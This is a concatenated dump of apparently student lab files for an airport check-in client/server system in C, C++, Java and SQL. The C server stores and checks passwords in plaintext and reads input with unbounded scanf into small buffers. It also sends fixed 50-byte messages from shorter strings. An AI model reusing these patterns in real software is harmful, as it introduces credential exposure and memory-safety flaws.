strtok_r(saveptr, &delem2, &saveptr2);
pthread_mutex_lock(&MutexNewUser);
fd = open("Login.csv", O_RDONLY);
lseek(fd, 0, SEEK_SET);
#ifdef DEBUG
printf("Recherche: %s et %s\n", saveptr, saveptr2);
#endif
for(i = 0; ReadByte(fd, &login[i][0], &password[i][0]); i+=1)
{
if(strcmp(&login[i][0], saveptr) == 0)
{
//printf("password trouvé: %s, contre password reçu: %s\n", &password[i][0], saveptr2);
if(strcmp(&password[i][0], saveptr2) == 0)
{
//OK
printf("%s s'est connecté!\n", saveptr);
send(conn_desc, "Login:OK", 50, 0);
goto end;
}
}
}
#ifdef DEBUG
printf("Pas trouvé !\n");
#endif
send(conn_desc, "Login:NOK", 50, 0);
end:;
close(fd);
pthread_mutex_unlock(&MutexNewUser);
}
if(strcmp(buffer, "Logout") == 0)
{
#ifdef DEBUG
printf("Requete Logout!\n");
#endif
close(conn_desc);
pthread_mutex_lock(&MutexConnexions);
connexions[i] = 0;
pthread_mutex_unlock(&MutexConnexions);
printf("Une déconnexion a eu lieu !\n");
goto attente_connect;
}
if(strcmp(buffer, "New_User") == 0)
{
printf("Requête nouvel utilisateur !\n");
int i = 0;
int fd;
char delem2 = ';';
char* saveptr2;
strtok_r(saveptr, &delem2, &saveptr2);
#ifdef DEBUG
printf("Nouvel Utilisaeur: %s et %s\n", saveptr, saveptr2);
#endif
pthread_mutex_lock(&MutexNewUser);
fd = open("Login.csv", O_CREAT | O_RDWR, "777");
lseek(fd, 0, SEEK_END);
if(WriteByte(fd, saveptr, saveptr2))
{
printf("Utilisateur enregistré: %s !\n", saveptr);
}
else
{
perror("Err. WriteByte()");
}
close(fd);
pthread_mutex_unlock(&MutexNewUser);
}
if(strcmp(buffer, "CheckTicket") == 0)
{
#ifdef DEBUG
printf("Requête CheckTicket!\n");
#endif
char numTicket[100][25], nb_passagers[100][25];
int i = 0;
int fd_tickets;
char delem2 = ';';
char* saveptr2;
strtok_r(saveptr, &delem2, &saveptr2);
#ifdef DEBUG
printf("%s\n%s\n", saveptr, saveptr2);
#endif
pthread_mutex_lock(&MutexTickets);
fd_tickets = open("Tickets.csv", O_RDONLY);
lseek(fd_tickets, 0, SEEK_SET);
#ifdef DEBUG
printf("Recherche: %s et %s\n", saveptr, saveptr2);
#endif
for(i = 0; ReadByte(fd_tickets, &numTicket[i][0], &nb_passagers[i][0]); i+=1)
{
if(strcmp(&numTicket[i][0], saveptr) == 0)
{
#ifdef DEBUG
printf("nb_passagers: %s, saveptr2: %s\n", &nb_passagers[i][0], saveptr2);
#endif
if(strcmp(&nb_passagers[i][0], saveptr2) == 0)
{
#ifdef DEBUG
printf("Trouvé!\n");
#endif
send(conn_desc, "CheckTicket:OK", 50, 0);
goto endt;
}
}
}
#ifdef DEBUG
printf("Pas trouvé !\n");
#endif
send(conn_desc, "CheckTicket:NOK", 50, 0);
endt:;
close(fd_tickets);
pthread_mutex_unlock(&MutexTickets);
}
if(strcmp(buffer, "CheckLuggage") == 0)
{
#ifdef DEBUG
printf("Requête CheckLuggage!\n");
#endif
char delem2 = ';';
char* saveptr2;
strtok_r(saveptr, &delem2, &saveptr2);
#ifdef DEBUG
printf("Poids: %skg Valise: %s\n", saveptr, saveptr2);
#endif
if(atoi(saveptr) > 20)
{
#ifdef DEBUG
printf("Trop gros mon gars..\n");
#endif
send(conn_desc, "CheckLuggage:TOO_BIG", 50, 0);
}
else
{
send(conn_desc, "CheckLuggage:OK", 50, 0);
}
// Réutiliser plus tard les données fournies !
}
}
exit_server:;
printf("Un thread de demande a été fermé !\n");
pthread_exit(NULL);
return NULL;
}
void* Serveur(void* arg)
{
if(Sockette(&soc, PORT) == -1)
{
perror("Err. de bind");
exit(-1);
}
pthread_t pidTraitement[NBCLI];
for(int i = 0; i < NBCLI; i+=1)
pthread_create(&pidTraitement[i], NULL, TraitementClient, NULL);
for(int i = 0; i < NBCLI; i+=1)
pthread_join(pidTraitement[i], NULL);
close(soc);
printf("Le serveur a été fermé !\n");
pthread_exit(NULL);
return NULL;
}
int main()
{
{
FILE* config;
config = fopen("Serveur.conf", "r+");
fseek(config, 5, SEEK_SET);
char port[6], nbcli[6];
fgets(port, 6, config);
PORT = atoi(port);
printf("%d\n", PORT);
fseek(config, 7, SEEK_CUR);
fgets(nbcli, 2, config);
NBCLI = atoi(nbcli);
printf("%d\n", NBCLI);
fclose(config);
}
connexions = (int*)malloc(NBCLI*sizeof(int));
for(int i = 0; i < NBCLI; i+=1)
*(connexions+i) = 0;
// SEQUENCE DE TESTS CSV
/*char login[100][25], password[100][25];
int n = 0;
int fd;
fd = open("Login.csv", O_RDONLY);
lseek(fd, 0, SEEK_SET);
for(n = 0; ReadByte(fd, &login[n][0], &password[n][0]); n+=1);
close(fd);
for(int j = 0; j < n; j+=1)
{
printf("%s\n", &login[j][0]);
printf("%s\n", &password[j][0]);
}*/
int Stop = 0;
int end = 0;
char choix = 0;
pthread_t pidServ;
char id[25], pass[25];
int fd;
pthread_mutex_init(&MutexNewUser, NULL);
pthread_mutex_init(&MutexTickets, NULL);
do
{
printf("**********************************************\nCheckIn - Inpres Airport - Server - Ver. Alpha\
\n**********************************************\n\n");
printf("Menu Principal:\n\n");
printf("1. Lancer le serveur\n");
printf(" Administration:\n");
printf("2. Ajouter un Compte utilisateur\n");
printf("3. Quitter\n");
fgets(&choix, 2, stdin);
switch(choix)
{
case '1':
if(Stop == 0)
{
Stop = 1;
pthread_create(&pidServ, NULL, Serveur, NULL);
}
else
{
printf("\n\n*** Serveur déjà démarré ! ***\n\n");
}
break;
case '2': printf("Identifiant:\n");
scanf("%s", &id);
printf("Password:\n");
while((pass[0] = getchar()) != '\n' && pass[0] != EOF);
scanf("%s", &pass);
pthread_mutex_lock(&MutexNewUser);
fd = open("Login.csv", O_CREAT | O_RDWR, "777");
lseek(fd, 0, SEEK_END);
if(WriteByte(fd, id, pass))
{
printf("\n\n*** Utilisateur enregistré ! ***\n\n");
}
else
{
perror("Err. WriteByte()");
}
close(fd);
pthread_mutex_unlock(&MutexNewUser);
break;
case '3': end = 1;
pthread_mutex_lock(&MutexConnexions);
for(int i = 0; i < NBCLI; i+= 1)
{
if(*(connexions + i) != 0)
{
printf("Connexion %d fermée !\n", *(connexions+i));
send(*(connexions+i), "Logout", 50, 0);
close(*(connexions+i));
}
}
pthread_mutex_unlock(&MutexConnexions);
break;
}
while((pass[0] = getchar()) != '\n' && pass[0] != EOF);
}
while(end != 1);
if(Stop == 1)
{
close(soc);
pthread_cancel(pidServ);
pthread_join(pidServ, NULL);
printf("\n\n*** Serveur Fermé! ***\n\n");
free(connexions);
}
}
<file_sep>/LaboReseauxBinome/Libraries/Network/src/communicator/CommunicatorException.java
package communicator;
public class CommunicatorException extends Exception {
public CommunicatorException() {
super("CommunicatorException()");
}
public CommunicatorException(String msg) {
super(msg);
}
}
<file_sep>/part_2/Evaluation2(ancien)/BD_JOURNALDEBORD/CreateRole.sql
-- SI EN Oracle12c :
-- alter session set "_ORACLE_SCRIPT"=true;
CREATE role myrole not identified;
GRANT ALTER session TO myrole;
GRANT CREATE database link TO myrole;
GRANT CREATE session TO myrole;
GRANT CREATE procedure TO myrole;
GRANT CREATE sequence TO myrole;
GRANT CREATE table TO myrole;
GRANT CREATE trigger TO myrole;
GRANT CREATE type to myrole;
GRANT CREATE synonym TO myrole;
GRANT CREATE view TO myrole;
GRANT CREATE job TO myrole;
GRANT CREATE materialized view TO myrole;
GRANT EXECUTE ON sys.dbms_lock TO myrole;
GRANT EXECUTE ON sys.owa_opt_lock TO myrole;<file_sep>/final eclipse/Librairie/src/network/communication/MulticastCommunicationException.java
package network.communication;
public class MulticastCommunicationException extends Exception {
/**
*
*/
private static final long serialVersionUID = 1L;
public MulticastCommunicationException() {
super("MulticastCommunicatorException()");
}
public MulticastCommunicationException(String msg) {
super(msg);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_errnoException.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_errnoException.dir/Tests/ErrnoExceptionTest.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_errnoException.dir/Exceptions/CIMPException.cpp.o"
"test_errnoException.pdb"
"test_errnoException"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_errnoException.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/final eclipse/Librairie/src/database/entities/Passenger.java
package database.entities;
import java.io.Serializable;
import java.sql.Date;
public class Passenger implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private String id;
private String lastName;
private Date birthdate;
private char gender;
private String firstname;
private String login;
private String password;
public Passenger(String id,String lastName, Date birthdate, char gender, String firstname, String login, String password) {
super();
this.lastName = lastName;
this.birthdate = birthdate;
this.gender = gender;
this.firstname = firstname;
this.login = login;
this.password = <PASSWORD>;
}
@Override
public String toString() {
return "Passenger [id=" + id + ", lastName=" + lastName + ", birthdate=" + birthdate + ", gender=" + gender
+ ", firstname=" + firstname + ", login=" + login + ", password=" + password + "]";
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Date getBirthdate() {
return birthdate;
}
public void setBirthdate(Date birthdate) {
this.birthdate = birthdate;
}
public char getGender() {
return gender;
}
public void setGender(char gender) {
this.gender = gender;
}
public String getFirstname() {
return firstname;
}
public void setFirstname(String firstname) {
this.firstname = firstname;
}
public String getLogin() {
return login;
}
public void setLogin(String login) {
this.login = login;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = <PASSWORD>;
}
public Passenger() {
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_errno.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_errno.dir/Tests/CsvExceptionTest.cpp.o"
"CMakeFiles/test_errno.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_errno.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_errno.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_errno.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_errno.dir/Exceptions/HostException.cpp.o"
"test_errno.pdb"
"test_errno"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_errno.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/cmake-build-debug/CMakeFiles/Serveur_CheckIn.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CSV/TicketCsvHandler.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CSV/LoginCsvHandler.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CSV/LuggageDatabase.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CSV/LuggageCsvHandler.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CSV/CsvHandler.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CsvException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/CIMPException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/CIMP/CIMP.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Launcher.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Serveur_CheckIn.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/ServerException.cpp.o"
"CMakeFiles/Serveur_CheckIn.dir/Serveur_CheckInThread.cpp.o"
"Serveur_CheckIn.pdb"
"Serveur_CheckIn"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/Serveur_CheckIn.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/IACOPException.h
#ifndef EXCEPTIONS_IACOPEXCEPTION_H
#define EXCEPTIONS_IACOPEXCEPTION_H
#include <string>
#include <cstring>
class IACOPException : public std::exception {
protected:
std::string message;
public:
IACOPException(std::string msg);
IACOPException(const char *msg);
IACOPException(const IACOPException &orig);
~IACOPException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_IACOPEXCEPTION_H
<file_sep>/part_3/Evaluation3(ancien)/Serveur_Bagages/src/serveur_bagages/ThreadPoolLUGAP.java
package serveur_bagages;
import communicator.Communicator;
import communicator.CommunicatorException;
import database.utilities.DatabaseAccess;
import entities.Flight;
import java.net.Socket;
import java.util.HashMap;
import server.ConsoleServeur;
import server.SourceTaches;
import server.multithread.ThreadPool;
public class ThreadPoolLUGAP extends ThreadPool {
private final String DBip;
private final String DBport;
private final String DBSID;
private final String DBschema;
private final String DBpassword;
public ThreadPoolLUGAP(int nbThreads, SourceTaches tachesAExecuter, ConsoleServeur guiApplication, int port, String ip, String DBport, String SID, String schema, String password) {
super(nbThreads, tachesAExecuter, guiApplication, port);
this.DBip = ip;
this.DBport = DBport;
this.DBSID = SID;
this.DBschema = schema;
this.DBpassword = <PASSWORD>;
}
@Override
protected Runnable getProtocolRunnable(Socket socket) throws CommunicatorException{
return new RunnableLUGAP(this, this.guiApplication, new Communicator(socket), new DatabaseAccess(DatabaseAccess.databaseType.MYSQL, this.DBip, this.DBport, this.DBSID, this.DBschema, this.DBpassword));
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/QuitApp.h
#ifndef LIBRAIRIES_QUITAPP_H
#define LIBRAIRIES_QUITAPP_H
#include <string>
#include <cstring>
using namespace std;
class QuitApp : public exception {
protected:
string message;
public:
QuitApp();
QuitApp(string msg);
QuitApp(const QuitApp &orig);
~QuitApp() throw();
virtual const char* what() const throw();
};
#endif //LIBRAIRIES_QUITAPP_H
<file_sep>/part_2/Evaluation2(ancien)/BD_AIRPORT/createDatabase.sql
-- CREATE SCHEMA `BD_AIRPORT` DEFAULT CHARACTER SET utf8 ;
-- On efface les tables si elles existent
DROP TABLE IF EXISTS `BD_AIRPORT`.`baggages`,
`BD_AIRPORT`.`billets`,
`BD_AIRPORT`.`passagers`,
`BD_AIRPORT`.`statusBagage`,
`BD_AIRPORT`.`vols`,
`BD_AIRPORT`.`avions`,
`BD_AIRPORT`.`agents`,
`BD_AIRPORT`.`postes`;
CREATE TABLE `BD_AIRPORT`.`postes`(
`id` INT NOT NULL,
`name` VARCHAR(100) NOT NULL,
PRIMARY KEY (`id`)
);
CREATE TABLE `BD_AIRPORT`.`agents`(
`login` VARCHAR(50) NOT NULL,
`password` VARCHAR(50) NOT NULL,
`name` VARCHAR(20) DEFAULT NULL,
`firstName` VARCHAR(20) DEFAULT NULL,
`idPoste` INT,
PRIMARY KEY (`login`),
FOREIGN KEY (`idPoste`) REFERENCES `BD_AIRPORT`.`postes`(`id`) ON DELETE CASCADE ON UPDATE CASCADE
);
CREATE TABLE `BD_AIRPORT`.`avions`(
`id` INT NOT NULL,
`modele` VARCHAR(100) NOT NULL,
`etat` VARCHAR(50) DEFAULT 'check_OK',
PRIMARY KEY(`id`)
);
CREATE TABLE `BD_AIRPORT`.`vols`(
`idAvion` INT NOT NULL,
`date` DATE,
`destination` VARCHAR(50) NOT NULL,
`heureDepart` TIME,
`heureArriveeTheorique` TIME,
`heureArriveeReelle` TIME,
`airline` VARCHAR(100),
PRIMARY KEY (`idAvion`, `date`, `destination`),
FOREIGN KEY (`idAvion`) REFERENCES `BD_AIRPORT`.`avions`(`id`) ON DELETE CASCADE ON UPDATE CASCADE
);
CREATE TABLE `BD_AIRPORT`.`statusBagage`(
`id` INT NOT NULL,
`name` VARCHAR(50),
PRIMARY KEY (`id`)
);
CREATE TABLE `BD_AIRPORT`.`passagers`(
`idCardNumber` VARCHAR(14) NOT NULL,
`name` VARCHAR(20) DEFAULT NULL,
`firstName` VARCHAR(20),
PRIMARY KEY (`idCardNumber`)
);
CREATE TABLE `BD_AIRPORT`.`billets`(
`id` VARCHAR(17) NOT NULL,
`idPassager` VARCHAR(14) NOT NULL,
`nbAccompagnants` INT,
PRIMARY KEY (`id`),
FOREIGN KEY (`idPassager`) REFERENCES `BD_AIRPORT`.`passagers`(`idCardNumber`) ON DELETE CASCADE ON UPDATE CASCADE
);
CREATE TABLE `BD_AIRPORT`.`baggages`(
`id` VARCHAR(50) NOT NULL,
`idVol` INT NOT NULL,
`idBillet` VARCHAR(17) NOT NULL,
`status` INT NOT NULL,
`commentaires` VARCHAR(255),
PRIMARY KEY (`id`),
FOREIGN KEY (`idVol`) REFERENCES `BD_AIRPORT`.`vols`(`idAvion`) ON DELETE CASCADE ON UPDATE CASCADE,
FOREIGN KEY (`idBillet`) REFERENCES `BD_AIRPORT`.`billets`(`id`) ON DELETE CASCADE ON UPDATE CASCADE,
FOREIGN KEY (`status`) REFERENCES `BD_AIRPORT`.`statusBagage`(`id`) ON DELETE CASCADE ON UPDATE CASCADE
);
<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/reponse/Reponse_MAJ_champ.java
package network.protocole.lugap.reponse;
import java.io.Serializable;
import generic.server.AReponse;
public class Reponse_MAJ_champ extends AReponse implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private Reponse_MAJ_champ(String message, boolean successful) {
super(message, successful);
}
public static Reponse_MAJ_champ OK(){
return new Reponse_MAJ_champ("", true);
}
public static Reponse_MAJ_champ KO(String message){
return new Reponse_MAJ_champ(message, false);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/CIMPException.h
#ifndef EXCEPTIONS_CIMPEXCEPTION_H
#define EXCEPTIONS_CIMPEXCEPTION_H
#include <string>
#include <cstring>
using namespace std;
class CIMPException : public exception {
protected:
string message;
public:
CIMPException(string msg);
CIMPException(const char *msg);
CIMPException(const CIMPException &orig);
~CIMPException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_CIMPEXCEPTION_H
<file_sep>/final eclipse/Librairie/src/generic/server/ASecureRequete.java
package generic.server;
import java.security.PrivateKey;
import java.security.PublicKey;
import javax.crypto.SecretKey;
import database.utilities.Access;
import network.communication.Communication;
public abstract class ASecureRequete extends ARequete implements ISecureRequete
{
/**
*
*/
private static final long serialVersionUID = 1L;
private PrivateKey keyPrivate;
private PublicKey keyPublic;
private SecretKey keySecret;
private boolean crypted;
public PrivateKey getKeyPrivate() {
return keyPrivate;
}
public void setKeyPrivate(PrivateKey keyPrivate) {
this.keyPrivate = keyPrivate;
}
public PublicKey getKeyPublic() {
return keyPublic;
}
public void setKeyPublic(PublicKey keyPublic) {
this.keyPublic = keyPublic;
}
protected ASecureRequete(String requestTypeName, String sqlStatement) {
super(requestTypeName, sqlStatement);
}
@Override
public Runnable createRunnable(Runnable parent, Communication c, IConsoleServeur consoleServeur, Access db,
PrivateKey key,PublicKey keyPublic, SecretKey keySecret) {
this.parent = parent;
this.communication = c;
this.consoleServeur = consoleServeur;
this.database = db;
this.setKeyPrivate(key);
this.setKeyPublic(keyPublic);
this.setKeySecret(keySecret);
return () -> { doAction(); };
}
protected void traceEvent(String message,String protocole){
consoleServeur.TraceEvenements(communication.getSocket().getRemoteSocketAddress().toString()
+ "#" + message
+ "#" + requestTypeName + "@"+protocole);
}
@Override
protected abstract void doAction() ;
public SecretKey getKeySecret() {
return keySecret;
}
public void setKeySecret(SecretKey keySecret) {
this.keySecret = keySecret;
}
public boolean isCrypted() {
return crypted;
}
public void enableCrypted() {
this.crypted = true;
}
public void disenableCrypted() {
this.crypted = false;
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/ClientException.h
#ifndef APPLICATIONCHECKIN_CLIENTAPPLICATION_H
#define APPLICATIONCHECKIN_CLIENTAPPLICATION_H
#include <string>
#include <cstring>
class ClientException : public std::exception {
protected:
std::string message;
public:
ClientException(std::string msg);
ClientException(const char *msg);
ClientException(const ClientException &orig);
~ClientException() throw();
virtual const char* what() const throw();
};
#endif //APPLICATIONCHECKIN_CLIENTAPPLICATION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LuggageDatabase.cpp
#include "LuggageDatabase.h"
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/IACOP.h
#ifndef APPLICATION_CIACHAT_IACOP_H
#define APPLICATION_CIACHAT_IACOP_H
#include <cstdlib>
#include <string>
#include "IACOPException.h"
#define POST_QUESTION 0
#define ANSWER_QUESTION 1
#define POST_EVENT 2
#define LOGIN_GROUP 10
#define LOGIN_GROUP_OK 11
#define LOGIN_GROUP_KO 12
typedef struct{
std::string login;
std::string password;
long time;
double rand;
} loginStruct;
typedef struct{
std::string ip;
int port;
} ipPortStruct;
class IACOP {
private:
std::string separator;
const std::string getNextToken(std::string &msg) const;
const std::string encodeManyParams(int requestType, std::vector<std::string> params) const throw(IACOPException);
const std::string encodeNoParam(const int requestType) const;
const std::string encodeOneParam(int requestType, std::string msg) const;
public:
explicit IACOP(std::string separator) throw(IACOPException);
IACOP(const IACOP &orig);
const std::string encodeLOGIN_GROUP(loginStruct loginstruct) const throw(IACOPException);
const int parse(std::string msg, void **parsedData) const throw(IACOPException);
};
#endif //APPLICATION_CIACHAT_IACOP_H
<file_sep>/final eclipse/Librairie/src/database/entities/Caddie.java
package database.entities;
import java.io.Serializable;
public class Caddie implements Serializable {
private static final long serialVersionUID = 1L;
private int _idCaddie;
private int fk_idPassenger;
public Caddie() {
}
public Caddie(int _idCaddie, int fk_idPassenger) {
this._idCaddie = _idCaddie;
this.fk_idPassenger = fk_idPassenger;
}
public int getIdCaddie() {
return _idCaddie;
}
public void setIdCaddie(int _idCaddie) {
this._idCaddie = _idCaddie;
}
public int getIdPassenger() {
return fk_idPassenger;
}
public void setIdPassenger(int fk_idPassenger) {
this.fk_idPassenger = fk_idPassenger;
}
@Override
public String toString() {
return "Caddie [_idCaddie=" + _idCaddie + ", fk_idPassenger=" + fk_idPassenger + "]";
}
}
<file_sep>/part_1/CheckIn-Server/Network.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "Network.h"
int Sockette(int* soc, int port)
{
struct sockaddr_in s_addr;
int yes = 1;
if((*soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) // Crée la socket TCP
return -1;
bzero((char *)&s_addr, sizeof(s_addr)); // Initialise la variable s_addr
s_addr.sin_family = AF_INET; // Toutes les cartes réseaux peuvent intercepter les paquets
s_addr.sin_addr.s_addr = htonl(INADDR_ANY); // Convertit l'adresse en Big Endian
s_addr.sin_port = htons(port); // Convertit le port en Big Endian
setsockopt(*soc, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); // Paramétrer la socket de manière à ce qu'elle soit réutilisable
if(bind(*soc, (struct sockaddr *)&s_addr, sizeof(struct sockaddr_in)) == -1) // Lier l'adresse au socket
return -1;
printf("Socket TCP accepté: En écoute !\n");
}
int Waiting(int* soc, int* conn_desc, struct sockaddr_in* c_addr ,char* buffer)
{
int size = sizeof(*c_addr);
int taille_lu = 0;
listen(*soc, 1); // Ecoute les connexions sur la socket
*conn_desc = accept(*soc, (struct sockaddr *)c_addr, &size); // Accepte une connexion sur la socket
#ifdef DEBUG
printf("Message reçu: %s\n", buffer);
#endif
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/MulticastSocket.h
#ifndef APPLICATION_CIACHAT_MULTICASTSOCKET_H
#define APPLICATION_CIACHAT_MULTICASTSOCKET_H
#include "../../Evaluation1/Librairies/Exceptions/SocketException.h"
#include "../../Evaluation1/Librairies/Exceptions/ErrnoException.h"
#include "../../Evaluation1/Librairies/SocketUtilities/HostInfo.h"
#include "../../Evaluation1/Librairies/SocketUtilities/Socket.h"
#include "Message.h"
//#define affSocket(msg) printf("\e[32;1m******\e[0;1m [%s] \e[0m%s\n", __PRETTY_FUNCTION__, msg);fflush(stdout)
#define affSocket(msg) printf("\e[32;1m******\e[0;1m [%s] \e[0m%s\n", __FUNCTION__, msg);fflush(stdout)
class MulticastSocket {
private:
int socketHandle;
unsigned int portNumber;
std::string separator;
std::string finTrame;
struct sockaddr_in socketAddressLocal;
struct sockaddr_in socketAddressOther;
struct ip_mreq mreq;
const std::string getNextToken(std::string &msg) const;
char* findDelimiter(char *buffer, int size);
public:
MulticastSocket();
MulticastSocket(unsigned int portNumber, const HostInfo &infoLocal, const HostInfo &infoOther, std::string sep, std::string finTrame) throw(ErrnoException, SocketException);
MulticastSocket(const MulticastSocket &orig);
virtual ~MulticastSocket();
unsigned int sendMessage(const Message &message) const throw(ErrnoException);
Message* receiveMessage() throw(ErrnoException);
int getSocketHandle() const;
int getPortNumber() const;
friend std::ostream &operator<<(std::ostream &os, const MulticastSocket &socket);
};
#endif //APPLICATION_CIACHAT_MULTICASTSOCKET_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LuggageCsvHandler.h
#ifndef CSV_LUGGAGECSVHANDLER_H
#define CSV_LUGGAGECSVHANDLER_H
#include <iomanip>
#include "LuggageDatabase.h"
#include "CsvHandler.h"
using namespace std;
class LuggageCsvHandler : public LuggageDatabase {
protected:
CsvHandler *csvHandler;
public:
LuggageCsvHandler(string filePath, string sep);
virtual ~LuggageCsvHandler();
virtual bool saveLuggageEntry(luggageStruct luggage);
virtual bool saveLuggageEntries(vector<luggageStruct> luggages);
};
#endif //CSV_LUGGAGECSVHANDLER_H
<file_sep>/LaboReseauxBinome/BD_JOURNALDEBORD/CreateUser.sql
-- SI EN Oracle12c :
-- alter session set "_ORACLE_SCRIPT"=true;
CREATE USER LaboReseaux identified by oracle default tablespace users temporary tablespace temp profile default account unlock;
ALTER USER LaboReseaux quota unlimited on users;
GRANT myrole TO LaboReseaux;
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/ServerException.h
#ifndef SERVEURCHECKIN_SERVEREXCEPTION_H
#define SERVEURCHECKIN_SERVEREXCEPTION_H
#include <string>
#include <cstring>
using namespace std;
class ServerException : public exception {
protected:
string message;
public:
ServerException(string msg);
ServerException(const char *msg);
ServerException(const ServerException &orig);
~ServerException() throw();
virtual const char* what() const throw();
};
#endif //SERVEURCHECKIN_SERVEREXCEPTION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LuggageDatabase.h
#ifndef CSV_LUGGAGE_DATABASE_H
#define CSV_LUGGAGE_DATABASE_H
#include "../CIMP/CIMP.h"
class LuggageDatabase {
public:
virtual bool saveLuggageEntry(luggageStruct luggage) = 0;
virtual bool saveLuggageEntries(vector<luggageStruct> luggages) = 0;
};
#endif //CSV_LUGGAGE_DATABASE_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/ServerSocket.cpp
#include "ServerSocket.h"
ServerSocket::ServerSocket() : Socket() {}
ServerSocket::ServerSocket(unsigned int portNumber, const HostInfo &info, const string separator) throw(ErrnoException, SocketException)
: Socket(portNumber, info, separator) {
